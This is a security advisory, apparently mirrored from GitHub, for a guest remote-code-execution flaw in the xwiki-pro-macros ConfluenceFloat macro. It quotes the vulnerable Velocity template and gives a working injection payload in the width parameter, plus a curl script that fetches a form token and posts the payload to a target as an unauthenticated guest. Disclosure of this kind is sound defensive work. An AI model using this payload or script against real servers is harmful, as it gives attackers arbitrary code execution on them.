# GHSA-2M38-CVPC-75XG: Guest RCE via ConfluenceFloat macro

- Database: GitHub
- Severity: CVSS 9.3 (Critical)
- Published: 2026-10-05
- Modified: 2026-10-05

## Affected versions

- com.xwiki.pro:xwiki-pro-macros-confluence-bridges-ui (Maven): from 1.23.2, fixed in 1.31.3

## Description

### Requirements
- none

### Details
The macro id `confluence_float` interpolates `$wikimacro.parameters.width` directly into the `width` parameter of a nested `{{box}}` macro call:

```
{{velocity}}
#set ($discard = $xwiki.ssx.use('Confluence.Macros.ConfluenceFloat'))
#macro(executeMacro)
  #if ("$!wikimacro.parameters.side" == '' || "$!wikimacro.parameters.side" == 'RIGHT')
    #set ($cssClass = 'confluence-float-inline-end')
  #else
    #set ($cssClass = 'confluence-float-inline-start')
  #end
  {{box cssClass="$cssClass" width="$wikimacro.parameters.width"}}
  {{wikimacrocontent/}}
  {{/box}}
#end
#if ($services.promacrolicensing.hasLicensureForEntity($xcontext.macro.doc.documentReference))
  #executeMacro
#else
  {{missingLicenseMessage extensionName="proMacros.extension.name"/}}
#end
{{/velocity}}
```

Attacker-controlled width containing 
```
X"/}}{{async ...}}{{groovy}}...{{/groovy}}{{/async}}{{box width="}}
```
closes the parameter quote, terminates the `{{box}}` macro head.

### PoC
As a standard user, use the macro like this:
```
{{confluence_float width="X~"/}}{{async async=~"false~" cached=~"false~"}}{{groovy}}println(~"CFLT_~" + (101*103)){{/groovy}}{{/async}}{{box width=~""}}body{{/confluence_float}}
```
<img width="1774" height="1196" alt="Capture d’écran 2026-06-05 à 14 26 26" src="https://github.com/user-attachments/assets/7d6fd56a-201a-454c-8340-72ec61ff83a1" />

This can also be done as pure guest:
```
B=http://target/xwiki
TOK=$(curl -s -c cj.txt "$B/bin/view/Main/" | grep -oE 'data-xwiki-form-token="[^"]*"' | head -1 | sed -E 's/.*"([^"]+)"/\1/')
printf 'a\n\n{{confluence_float width="X~"/}}{{async async=~"false~" cached=~"false~"}}{{groovy}}println(~"CFLT_~" + (107*109)){{/groovy}}{{/async}}{{box width=~""}}body{{/confluence_float}}\n\nb' > text.txt
curl -s -b cj.txt -X POST "$B/bin/get/Main/WebHome?sheet=CKEditor.HTMLConverter&toHTML=true&formToken=$TOK" --data-urlencode "text@text.txt" | grep -oE 'CFLT_[0-9]+'
```
### Impact
Anyone get arbitrary code execution against the server.

## References

- https://github.com/xwikisas/xwiki-pro-macros/security/advisories/GHSA-2m38-cvpc-75xg

Page: https://cve.now/GHSA-2M38-CVPC-75XG

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
